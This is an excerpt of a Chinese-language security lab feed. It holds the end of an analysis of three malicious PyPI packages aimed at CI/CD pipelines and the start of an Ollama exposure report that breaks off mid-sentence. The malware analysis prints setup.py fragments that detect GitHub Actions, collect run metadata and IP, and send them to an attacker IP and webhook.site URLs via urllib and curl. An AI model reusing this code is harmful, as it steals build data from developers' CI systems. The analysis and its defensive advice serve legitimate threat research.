none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3.2 CI 环境识别与定向攻击</span></strong></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意样本通常首先检测是否运行在 CI/CD 环境中：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">import</span> os</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__string">&#34;CI&#34;</span> <span class="code-snippet__keyword">in</span> os.environ <span class="code-snippet__keyword">or</span> <span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span> <span class="code-snippet__keyword">in</span> os.environ:</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 执行恶意逻辑</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">我们发现的三个样本，均在</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf="">中尝试获取CI相关环境变量信息</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">http_notifier_test</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf="">ci_metadata = {</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ci&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;CI&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_actions&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_workflow&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_WORKFLOW&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_run_id&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_ID&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_run_number&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_NUMBER&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;github_run_attempt&#34;</span>: os.environ.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_ATTEMPT&#34;</span>),</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">ci_metadata_python_logging</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">ci_metadata&#34;: {</span></code><br/><code><span leaf="">&#34;ci_detected&#34;: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;CI&#34;</span>, <span class="code-snippet__string">&#34;false&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_actions&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_workflow&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_WORKFLOW&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_run_id&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_RUN_ID&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_actor&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_ACTOR&#34;</span>), # Who triggered the run</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_ref&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_REF&#34;</span>),     # Branch or tag</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;git_commit&#34;</span>: os.environ.<span class="code-snippet__built_in">get</span>(<span class="code-snippet__string">&#34;GITHUB_SHA&#34;</span>)</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">pylibcugraphops</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf=""><span class="code-snippet__keyword">params</span> = {</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ip&#34;</span>: ip,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ci&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;CI&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_act&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_ACTIONS&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_wf&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_WORKFLOW&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_id&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_RUN_ID&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;gh_num&#34;</span>: os.getenv(<span class="code-snippet__string">&#34;GITHUB_RUN_NUMBER&#34;</span>),</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">这些CI数据可以使攻击者精确定位受害项目的构建流程与代码状态，进而实现高度定向攻击，同时对于记录的CI流水线的GitHub用户身份，可以依此来构建针对性的钓鱼攻击。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3.3 HTTP外联通信</span></strong></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些恶意样本均实现了HTTP 外联模块，用于将窃取的数据发送至攻击者服务器。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">http_notifier_test</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">BEACON_URL = <span class="code-snippet__string">&#34;http[:]//164.90.176.41:23444&#34;</span></span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Send POST request with IP info</span></span></code><br/><code><span leaf="">json_data = json.dumps(data).encode(&#39;utf-8&#39;)</span></code><br/><code><span leaf="">req = urllib.request.Request(</span></code><br/><code><span leaf="">BEACON_URL,</span></code><br/><code><span leaf="">data=json_data,</span></code><br/><code><span leaf="">headers={&#39;Content-Type&#39;: &#39;application/json&#39;}</span></code><br/><code><span leaf="">)</span></code><br/><code><span leaf="">urllib.request.urlopen(req, timeout=3)</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">ci_metadata_python_logging</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__comment"># 3. Send to Webhook</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Note: example.com is a placeholder; use your webhook.site URL</span></span></code><br/><code><span leaf="">webhook_url = <span class="code-snippet__string">&#34;https[:]//webhook.site/5940aa52-b829-4f0d-afe2-08d29d2922d0&#34;</span> </span></code><br/><code><span leaf="">req = urllib.request.Request(</span></code><br/><code><span leaf="">webhook_url,</span></code><br/><code><span leaf="">data=json.dumps(payload).encode(<span class="code-snippet__string">&#34;utf-8&#34;</span>),</span></code><br/><code><span leaf="">headers={<span class="code-snippet__string">&#34;Content-Type&#34;</span>: <span class="code-snippet__string">&#34;application/json&#34;</span>},</span></code><br/><code><span leaf="">method=<span class="code-snippet__string">&#34;POST&#34;</span></span></code><br/><code><span leaf="">)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Short timeout ensures the install doesn&#39;t &#34;hang&#34; if the site is down</span></span></code><br/><code><span leaf="">urllib.request.urlopen(req, timeout=5)</span></code><br/></pre></p><p style=""><span style="mso-spacerun:&#39;yes&#39;;font-family:宋体;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.5000pt;mso-font-kerning:1.0000pt;"><font face="Calibri"><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">pylibcugraphops</span></span></font></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">WEBHOOK_URL = <span class="code-snippet__string">&#34;https[:]//webhook.site/1cee78e0-32f4-4e76-8f9d-f2bfa58784f9&#34;</span></span></code><br/><code><span leaf="">COLLAB_DOMAIN = <span class="code-snippet__string">&#34;your-collab-domain.oastify.com&#34;</span></span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf="">query = <span class="code-snippet__string">&#34;&amp;&#34;</span>.join([f<span class="code-snippet__string">&#34;{k}={v}&#34;</span> for k,v in params.items() if v])</span></code><br/><code><span leaf="">url = f<span class="code-snippet__string">&#34;{WEBHOOK_URL}?{query}&#34;</span></span></code><br/><code><span leaf="">subprocess.Popen(</span></code><br/><code><span leaf="">[<span class="code-snippet__string">&#34;curl&#34;</span>, <span class="code-snippet__string">&#34;-m&#34;</span>, <span class="code-snippet__string">&#34;3&#34;</span>, <span class="code-snippet__string">&#34;-s&#34;</span>, url],</span></code><br/><code><span leaf="">stdout=subprocess.DEVNULL,</span></code><br/><code><span leaf="">stderr=subprocess.DEVNULL</span></code><br/><code><span leaf="">)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">从这些代码的结构和注释，我们不难发现这些攻击样本来自于固定的模版，攻击者只需修改其中的服务器地址就能实施攻击。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而且</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pylibcugraphops</span></code><span leaf="">包名接近真实 CUDA / cuGraph 生态组件，描述信息中显示该包为依赖测试。如果这个包被攻击者使用依赖攻击来下载使用，将非常难以检测排查。这些恶意软件包针对的目标受众可能为高性能计算CI环境，一旦被攻破，其中的模型权重、私有数据、商业算法等高价值的内容都可能遭到窃取。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. 防御与缓解建议</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对 CI/CD 环境中存在的恶意依赖投毒风险，应从依赖完整性校验、运行环境权限控制、构建阶段动态监控以及供应链威胁检测四个方面构建系统化防护体系。</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">依赖完整性校验：</span></strong><p><span leaf=""> 对第三方依赖实施版本与哈希锁定，结合 pip install –require-hashes 机制，并统一使用受控的软件仓库，防止恶意包混入构建流程。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">运行环境最小权限化：</span></strong><p><span leaf=""> 遵循最小权限原则，避免默认注入高权限访问令牌，对 CI 任务实施分级授权，并将构建节点与生产环境进行隔离，降低凭据泄露带来的扩散风险。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">构建阶段动态监控：</span></strong><p><span leaf=""> 对 pip install 过程进行实时监控，重点检测 setup.py 中的环境变量扫描、网络外联和可疑命令执行行为，实现对攻击的早期发现与阻断。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">供应链威胁检测：</span></strong><p><span leaf=""> 结合静态分析与动态检测技术，构建面向 CI/CD 场景的检测机制，通过 AST 解析识别恶意安装脚本行为，实现对 CI 定向恶意包的自动化防护。</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5. 结论</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们系统分析了三个针对 CI/CD 生态的 PyPI 恶意包样本，揭示了一类高度隐蔽、定向性强的软件供应链攻击模式。攻击者通过在 setup.py 中嵌入恶意逻辑，实现对 CI 运行环境的自动化信息收集，重点窃取构建流水线元数据与敏感环境变量，从而为后续的定向攻击、凭据滥用与潜在的供应链渗透提供关键情报基础。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该攻击范式对现代 DevOps 架构构成严峻挑战，尤其在高度自动化的构建环境中，信息窃取行为本身即可引发严重的安全连锁反应，亟需在依赖管理、CI 运行权限控制以及自动化威胁检测等层面构建系统性防御机制。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=132c5a0a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489049%26idx%3D1%26sn%3D18d9b2523cc0676276d45ff98f2a77ca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Feb 2026 17:06:00 +0800</pubDate>
    </item>
    <item>
      <title>《Ollama网络安全态势监测2025年度报告》预览版</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489043&amp;idx=1&amp;sn=80351b3695f8dd0916a801f24bd1941c</link>
      <description>2025年2月14日，南开大学AOSP实验室首次向国家有关部门披露公网暴露的Ollama服务（默认端口114</description>
      <content:encoded><![CDATA[<p><span>AOSP实验室</span> <span>2026-02-26 16:49</span> <span style="display: inline-block;">北京</span></p>




  <p>以下文章来源于：AOSP实验室</p>
  <strong>AOSP实验室</strong>
  <p>南开大学AOSP实验室，聚焦多元化安全与隐私研究，涵盖网络安全、Web安全、大模型安全及新兴安全风险等方向，致力于提升网络技术与大模型融合场景下的整体安全性，并通过原创性研究成果持续服务与支撑安全社区发展。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fdaec1cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI5P6NLY2q6XF9owZWSjEbnakgdNm1nl0lFCueyKnITmwkWMyHdlrrYvicCR4NRyFic0Dh2jDaiao1SnZVMhKLj3a87U1iaBzEvsRoSyPoSZHibicE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-pm-slice="0 0 []" style="margin-top: 0px;margin-bottom: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14994934143870314" data-type="png" data-w="987" data-width="987" data-height="148" data-imgfileid="100000038" src="https://wechat2rss.xlab.app/img-proxy/?k=53133ce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6W3AHxYuiagkBA4aD0OQnerlHEoibnlZQ8tlr4f83EDtXJtgYibwPHsvLS9mibdTZUzhq0iblntUABVA4ib9QeYPex6pcQtVQsVQXS94%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">2025年2月14日，南开大学AOSP实验室首次向国家有关部门披露</span><span textstyle="" style="font-size: 14px;font-style: italic;">公网暴露的Ollama服务（默认端口11434）</span><span textstyle="" style="font-size: 14px;">存在未授权访问风险，并推动安全预警发布。</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">此后，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">基于自主研发的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: bold;font-style: normal;text-decoration: underline;">XMap</span><span textstyle="" style="font-size: 14px;">全网扫描器，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">我们开展了为期一年的持续监测，对Ollama公网暴露规模、生态演化与基础设施安全状况进行系统观测与分析。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在</span><span textstyle="" style="font-size: 14px;font-weight: bold;">南开大学、奇安信技术研究院与清华大学研究团队</span><span textstyle="" style="font-size: 14px;">的共同研究下，最终形成《Ollama网络安全态势监测2025年度报告》。综合分析表明：</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);font-weight: 600;text-decoration: underline;">Ollama 公网暴露规模仍处于增长阶段，生态复杂度持续上升，节点流动性显著增强，整体基础设施呈现高度云化特征，同时 TLS 配置与安全治理水平仍存在进一步优化空间。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 14px;">值此漏洞披露一周年之际，现发布报告预览版，以期推动相关服务安全加固，并促进大模型与网络安全交叉领域的研究发展。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.23434535104364326" data-s="300,640" data-type="png" data-w="1054" type="block" data-imgfileid="100000065" src="https://wechat2rss.xlab.app/img-proxy/?k=0e183ae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6XuHfrBMLy5mfFCNlibRNymsvVticpW42joyQrA1UdesCs4TAPpptAiaLFVGPSAHOFQicCwaRKeAKUqAmK7o0VnawPkSUFZWJb5nH4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 12px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><p style="margin-top: 0px;margin-bottom: 14px;"><hr style="border: 0;border-top: 1px solid rgba(113, 26, 95, 0.35);margin: 0 12px;"/></p><div style="margin-top: 8px;margin-bottom: 20px;margin-left: 10px;margin-right: 10px;padding: 12px 14px;border: 1px solid rgba(113, 26, 95, 0.24);border-radius: 8px;background: transparent;"><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x00年度速览</span></strong></h2><p style="margin-top: 6px;margin-bottom: 10px;"><span leaf=""><span textstyle="" style="font-size: 12px;background-color: rgb(113, 26, 95);color: rgb(255, 255, 255);">▸ 年度关键观察</span></span></p><p style="margin: 10px 16px 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">从全年观测结果看，公网暴露生态呈现出“规模增长与结构分化并行”的演化态势。活跃暴露节点由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">10,473</span><span textstyle="" style="font-size: 14px;">增至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">16,059（+53.34%）</span><span textstyle="" style="font-size: 14px;">，累计暴露规模达到</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">152,137</span><span textstyle="" style="font-size: 14px;">；日唯一模型数量由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">1,797 </span><span textstyle="" style="font-size: 14px;">上升至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5,643（+214.02%）</span><span textstyle="" style="font-size: 14px;">，日唯一版本由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">112</span><span textstyle="" style="font-size: 14px;">增至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 